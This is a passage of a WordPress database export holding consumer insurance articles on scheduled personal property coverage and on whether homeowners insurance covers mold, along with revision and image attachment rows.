policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This coverage supplements your standard homeowners or renters insurance. It covers loss or damage to the scheduled items, often with a broader range of covered perils than your regular policy. This can include theft, loss, accidental damage and sometimes even mysterious disappearance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tip: Many scheduled personal property policies have low or no deductibles. So if you file a claim, you may only need to pay a small amount or even nothing at all before insurance steps in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What does scheduled personal property cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Generally, scheduled personal property coverage is for items that are unique, high value or irreplaceable. Covered items might include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Jewelry, like rings, necklaces, bracelets and watches.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Fine art, like paintings and sculptures.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Collectibles, like rare stamps, coins and comic books.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Antiques, like vintage furniture, books and other heirloom pieces.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Musical instruments, like vintage guitars and grand pianos.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>High-end electronics, like expensive cameras and audio equipment.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Other valuables, like firearms and furs.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to get scheduled personal property coverage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In many cases, you can get this coverage by adding a rider or floater to your current home or renters insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s how to add scheduled personal property coverage to your policy:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Contact your current home or renter’s insurance provider and ask about adding a scheduled personal property endorsement to your current policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Give your insurer any information it requests, like receipts, appraisals and photographs of the items.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Pay any premiums needed to start your coverage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Update your coverage if the value of your items changes over time.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Blanket coverage vs. scheduled personal property</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If your insurer doesn’t offer scheduled property coverage, it may offer blanket coverage as an alternative. So, what’s the difference?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Blanket coverage provides a single coverage limit for all your valuable items combined, without needing to list or appraise each item individually. A per-item limit may apply.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Say you have a total blanket valuables coverage limit of $30,000 for jewelry, with a per-item limit of $10,000. This means your jewelry is collectively insured up to $30,000, with a per-item limit of $10,000. If you own three pieces of jewelry, each worth up to $10,000, then they’re all covered. But if your engagement ring is worth $13,000, it\'s only covered up to the $10,000 per-item limit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Scheduled coverage involves itemizing and often appraising each high-value item separately.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, you have an expensive engagement ring worth $15,000 and a vintage watch valued at $10,000. Under a scheduled coverage policy, each item is listed separately with its appraised value. The ring is insured for $15,000 and the watch for $10,000. In case of loss or damage, each item is covered up to its full listed value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.nerdwallet.com/article/insurance/scheduled-personal-property\">click here.</a></p>\n<!-- /wp:paragraph -->','What Is Scheduled Personal Property Coverage for Homeowners?','','publish','closed','closed','','what-is-scheduled-personal-property-coverage-for-homeowners','','','2024-05-20 04:32:11','2024-05-20 04:32:11','',0,'https://smartinsurance.tips/?p=4088',0,'post','',0),(4089,1,'2024-05-20 04:30:41','2024-05-20 04:30:41','','Untitled-19','','inherit','closed','closed','','untitled-19-5','','','2024-05-20 04:30:41','2024-05-20 04:30:41','',4088,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-19.png',0,'attachment','image/png',0),(4090,1,'2024-05-20 04:32:10','2024-05-20 04:32:10','<!-- wp:paragraph -->\n<p>Scheduled personal property coverage is a must-have if you have belongings worth more than your standard policy’s limits.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4089,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-19-1024x1024.png\" alt=\"\" class=\"wp-image-4089\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p><strong>Nerdy takeaways</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Scheduled personal property covers items like jewelry, art and collectibles beyond standard policy limits.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s “scheduled” because you list and insure each item individually for what it’s worth.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Many scheduled personal property policies feature low or even no deductibles.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Whether it\'s a family heirloom, a dazzling piece of jewelry or that art piece you splurged on, your standard home or renters insurance might not be enough. Enter scheduled personal property coverage. It’s the key to ensuring your valuables are fully insured.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is scheduled personal property?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Scheduled personal property coverage is an insurance endorsement or “floater” that provides additional coverage for specific, high-value belongings beyond what your standard homeowners\' insurance policy covers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You might need scheduled personal property coverage for items that are particularly valuable or unique, like jewelry, fine art, antiques, collectibles or expensive electronics — anything with a value that exceeds the standard coverage limits of your homeowners\' policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Costs vary by insurer, but you can generally expect to pay around $20 annually for every $1,000 of scheduled personal property coverage. So if you insure $10,000 worth of items, you might pay $200 each year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How does scheduled personal property coverage work?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A standard home insurance policy typically has a coverage limit for personal property, which is the maximum amount the insurance will pay in the event of a claim. Within this, there are sublimits for specific categories of items. For example, a policy might cover up to $100,000 of personal property but only $1,500 for jewelry.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Scheduled personal property coverage allows you to \"schedule\" individual high-value items, so they’re insured for their replacement cost value, rather than the sublimit in your standard policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This coverage supplements your standard homeowners or renters insurance. It covers loss or damage to the scheduled items, often with a broader range of covered perils than your regular policy. This can include theft, loss, accidental damage and sometimes even mysterious disappearance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tip: Many scheduled personal property policies have low or no deductibles. So if you file a claim, you may only need to pay a small amount or even nothing at all before insurance steps in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What does scheduled personal property cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Generally, scheduled personal property coverage is for items that are unique, high value or irreplaceable. Covered items might include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Jewelry, like rings, necklaces, bracelets and watches.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Fine art, like paintings and sculptures.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Collectibles, like rare stamps, coins and comic books.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Antiques, like vintage furniture, books and other heirloom pieces.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Musical instruments, like vintage guitars and grand pianos.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>High-end electronics, like expensive cameras and audio equipment.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Other valuables, like firearms and furs.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to get scheduled personal property coverage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In many cases, you can get this coverage by adding a rider or floater to your current home or renters insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s how to add scheduled personal property coverage to your policy:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Contact your current home or renter’s insurance provider and ask about adding a scheduled personal property endorsement to your current policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Give your insurer any information it requests, like receipts, appraisals and photographs of the items.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Pay any premiums needed to start your coverage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Update your coverage if the value of your items changes over time.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Blanket coverage vs. scheduled personal property</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If your insurer doesn’t offer scheduled property coverage, it may offer blanket coverage as an alternative. So, what’s the difference?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Blanket coverage provides a single coverage limit for all your valuable items combined, without needing to list or appraise each item individually. A per-item limit may apply.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Say you have a total blanket valuables coverage limit of $30,000 for jewelry, with a per-item limit of $10,000. This means your jewelry is collectively insured up to $30,000, with a per-item limit of $10,000. If you own three pieces of jewelry, each worth up to $10,000, then they’re all covered. But if your engagement ring is worth $13,000, it\'s only covered up to the $10,000 per-item limit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Scheduled coverage involves itemizing and often appraising each high-value item separately.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, you have an expensive engagement ring worth $15,000 and a vintage watch valued at $10,000. Under a scheduled coverage policy, each item is listed separately with its appraised value. The ring is insured for $15,000 and the watch for $10,000. In case of loss or damage, each item is covered up to its full listed value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.nerdwallet.com/article/insurance/scheduled-personal-property\">click here.</a></p>\n<!-- /wp:paragraph -->','What Is Scheduled Personal Property Coverage for Homeowners?','','inherit','closed','closed','','4088-revision-v1','','','2024-05-20 04:32:10','2024-05-20 04:32:10','',4088,'https://smartinsurance.tips/?p=4090',0,'revision','',0),(4091,1,'2024-05-20 04:36:07','2024-05-20 04:36:07','<!-- wp:paragraph -->\n<p>Most home insurance policies pay for mold only if it’s the result of a sudden, accidental event your policy covers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4092,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-21-1024x1024.png\" alt=\"\" class=\"wp-image-4092\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p><strong>Nerdy takeaways</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A homeowners policy usually pays for mold damage only if it’s caused by a covered issue such as a burst pipe.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Homeowners insurance won’t pay to clean up mold from flooding.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You can add coverage to your homeowners policy to pay for some mold damage.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Whether your homeowners insurance covers mold damage largely depends on the cause of the mold. If you find mold in your home, here are the options that may be available to you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does home insurance cover mold?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance generally covers mold only when it\'s caused by a \"covered peril\" — an event your homeowners insurance policy will pay for, such as accidental water damage. These events must be sudden and accidental.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, if your washing machine suddenly springs a leak and black mold develops on the floor, a homeowners policy will likely pay to remove the mold. If the floor is damaged beyond repair, your policy may also pay to replace it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your homeowners insurance policy may cover mold damage due to other scenarios such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A broken water heater.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Water damage caused by extinguishing a fire.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A burst or frozen pipe.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Did you know?</strong> Though your policy may cover mold damage from a broken appliance, it probably won’t pay to replace the appliance itself. Most insurers cover only the resulting water and mold damage, not the cause of the damage. If you want insurance for home systems and appliances, consider equipment breakdown coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some insurance companies limit the amount they will pay for mold removal. So even if your insurer accepts your claim, you may still need to shoulder some of the costs, including your deductible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Confused about your coverage? Read your policy carefully or call your insurance agent to go over the details.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance not cover mold?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home insurance policies are designed to cover sudden, accidental damage, so they typically won’t cover mold caused by neglect or a lack of regular upkeep. This includes mold damage from:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Poorly sealed doors or windows.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A leaky faucet that you haven’t fixed.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Lack of ventilation in a moist room, like a bathroom.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Below are a few other common causes of mold damage that a standard home insurance policy usually won’t cover.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Sump pump failure and water backup damage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Say your sump pump dies, leaving your basement underwater, or a city sewer line backs up into your bathroom. Mold could grow easily in such situations, but standard home insurance policies usually won’t cover the cleanup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, many insurers offer sump pump and water backup coverage as an optional add-on. (See more on this below.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Flood damage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Standard homeowners policies generally exclude flooding. In the insurance industry, flooding refers to scenarios that tend to affect multiple properties such as overflowing rivers, tidal surges or runoff from heavy rain. If you’re in an area at risk, consider buying separate flood insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, even if you have flood insurance, your policy may not cover mold damage. The country’s biggest flood insurance provider, the National Flood Insurance Program, covers mold damage only if you can\'t access your home after a flood.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mold damage coverage varies by the flood insurance policy. If you’re not sure what your policy includes, talk to your insurer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Other coverage options</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Though a standard home insurance policy doesn\'t usually cover the above situations, that doesn\'t mean you\'re out of luck. Below are other options your insurer may offer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Sump pump failure and water backup coverage</strong> can pay for water and mold damage from a backed-up drain, broken sump pump or clogged sewer line. However, this coverage will likely not pay for gradual issues such as water leaking in through your home\'s foundation. It also won\'t cover issues like flooding caused by a rising river or lake near your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hidden water damage coverage</strong> pays for damage from leaks you can’t see, like a burst pipe behind a wall. It could also cover mold cleanup. However, not all companies sell this insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Should you file a mold claim?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Even if you think your insurer will pay for your mold damage, filing a claim isn’t always worth it. The average cost of mold remediation in the United States is $2,235, according to Angi, a home services website. If your homeowners insurance deductible is $2,000, your insurer would pay only $235 toward that average cost. And because filing a claim often leads to higher premiums, you could end up losing money in the end.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’ve got other damage besides mold, or a significant infestation that will cost a lot more than your deductible to clean up, filing a claim is more likely to be worth it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to file a mold claim</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Mold can start to form in as little as one day, so acting fast is important.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li><strong>Stop the leak as soon as possible.</strong> If you have a water leak or burst pipe in your home, shut off the main water valve immediately. Make sure you know where the main water shut-off valve is so you aren\'t scrambling during an emergency. (Note that some shut-off valves are outside.)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>File as soon as you can.</strong> Depending on your insurer, you may be able to file your claim online, through an app or by phone. The sooner you file, the sooner you can clean up the mess (and the less time mold will have to form).</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Document the damage.</strong> Take photos and videos of mold and water damage you find. Make a list of all damaged items. Be as thorough and truthful as possible. False reporting, even if accidental, can work against your claim.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Clean up excess water, and dehumidify the area.</strong> Wipe up pools of water and use a dehumidifier or air conditioner to dry out the site. Place wet items outside in a secure area to dry. If you\'re having trouble cleaning up the water, consider hiring a professional. Your insurance agent may be able to help you find trusted water removal contractors in your area.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Make temporary repairs to prevent further damage.</strong> You don\'t want to make major fixes before filing your claim, but once you\'ve documented the damage, make temporary repairs to protect your home from further problems. For example, if your basement is flooded, you can remove wet carpeting. Keep receipts for all purchases related to cleanup and repairs.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What to do if homeowners insurance won’t pay for your mold damage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If your insurance company denied your mold claim but you still think the damage should be covered, you can try appealing your claim. Learn how to dispute a home insurance claim settlement or denial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But if you know the mold was caused by something insurance won’t cover, you’ll be responsible for the cleanup. You may be able to get rid of small patches of mold yourself, but for bigger jobs, consider hiring a professional.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Make sure the contractor you choose is licensed and insured, and that they have previous experience with mold remediation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Stopping mold before it starts</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>These tips can help prevent mold from growing in your home:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Inspect your pipes, faucets and hoses regularly, and fix leaks right away.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Make sure gutters and downspouts direct rainwater away from your home.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Keep humidity low in your house by using air conditioners and dehumidifiers.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Improve bathroom and kitchen ventilation by installing exhaust fans.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Avoid putting carpet in areas at risk for collecting moisture, such as a basement or bathrooms.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Regularly inspect your roof for leaks and keep your gutters free of debris.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consider replacing the hoses to your dishwasher, washing machine, refrigerator and other large appliances every five years.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.nerdwallet.com/article/insurance/does-homeowners-insurance-cover-mold\">click here.</a></p>\n<!-- /wp:paragraph -->','Does Homeowners Insurance Cover Mold?','','trash','closed','closed','','does-homeowners-insurance-cover-mold__trashed','','','2024-05-20 04:37:06','2024-05-20 04:37:06','',0,'https://smartinsurance.tips/?p=4091',0,'post','',0),(4092,1,'2024-05-20 04:33:46','2024-05-20 04:33:46','','Untitled-21','','inherit','closed','closed','','untitled-21-5','','','2024-05-20 04:33:46','2024-05-20 04:33:46','',4091,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-21.png',0,'attachment','image/png',0),(4093,1,'2024-05-20 04:36:07','2024-05-20 04:36:07','<!-- wp:paragraph -->\n<p>Most home insurance policies pay for mold only if it’s the result of a sudden, accidental event your policy covers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4092,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-21-1024x1024.png\" alt=\"\" class=\"wp-image-4092\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p><strong>Nerdy takeaways</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A homeowners policy usually pays for mold damage only if it’s caused by a covered issue such as a burst pipe.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Homeowners insurance won’t pay to clean up mold from flooding.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You can add coverage to your homeowners policy to pay for some mold damage.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Whether your homeowners insurance covers mold damage largely depends on the cause of the mold. If you find mold in your home, here are the options that may be available to you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does home insurance cover mold?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance generally covers mold only when it\'s caused by a \"covered peril\" — an event your homeowners insurance policy will pay for, such as accidental water damage. These events must be sudden and accidental.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, if your washing machine suddenly springs a leak and black mold develops on the floor, a homeowners policy will likely pay to remove the mold. If the floor is damaged beyond repair, your policy may also pay to replace it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your homeowners insurance policy may cover mold damage due to other scenarios such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A broken water heater.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Water damage caused by extinguishing a fire.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A burst or frozen pipe.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Did you know?</strong> Though your policy may cover mold damage from a broken appliance, it probably won’t pay to replace the appliance itself. Most insurers cover only the resulting water and mold damage, not the cause of the damage. If you want insurance for home systems and appliances, consider equipment breakdown coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some insurance companies limit the amount they will pay for mold removal. So even if your insurer accepts your claim, you may still need to shoulder some of the costs, including your deductible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Confused about your coverage? Read your policy carefully or call your insurance agent to go over the details.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance not cover mold?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home insurance policies are designed to cover sudden, accidental damage, so they typically won’t cover mold caused by neglect or a lack of regular upkeep. This includes mold damage from:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Poorly sealed doors or windows.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A leaky faucet that you haven’t fixed.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Lack of ventilation in a moist room, like a bathroom.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Below are a few other common causes of mold damage that a standard home insurance policy usually won’t cover.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Sump pump failure and water backup damage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Say your sump pump dies, leaving your basement underwater, or a city sewer line backs up into your bathroom. Mold could grow easily in such situations, but standard home insurance policies usually won’t cover the cleanup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, many insurers offer sump pump and water backup coverage as an optional add-on. (See more on this below.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Flood damage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Standard homeowners policies generally exclude flooding. In the insurance industry, flooding refers to scenarios that tend to affect multiple properties such as overflowing rivers, tidal surges or runoff from heavy rain. If you’re in an area at risk, consider buying separate flood insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, even if you have flood insurance, your policy may not cover mold damage. The country’s biggest flood insurance provider, the National Flood Insurance Program, covers mold damage only if you can\'t access your home after a flood.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mold damage coverage varies by the flood insurance policy. If you’re not sure what your policy includes, talk to your insurer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Other coverage options</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Though a standard home insurance policy doesn\'t usually cover the above situations, that doesn\'t mean you\'re out of luck. Below are other options your insurer may offer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Sump pump failure and water backup coverage</strong> can pay for water and mold damage from a backed-up drain, broken sump pump or clogged sewer line. However, this coverage will likely not pay for gradual issues such as water leaking in through your home\'s foundation. It also won\'t cover issues like flooding caused by a rising river or lake near your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hidden water damage coverage</strong> pays for damage from leaks you can’t see, like a burst pipe behind a wall. It could also cover mold cleanup. However, not all companies sell this insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Should you file a mold claim?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Even if you think your insurer will pay for your mold damage, filing a claim isn’t always worth it. The average cost of mold remediation in the United States is $2,235, according to Angi, a home services website. If your homeowners insurance deductible is $2,000, your insurer would pay only $235 toward that average cost. And because filing a claim often leads to higher premiums, you could end up losing 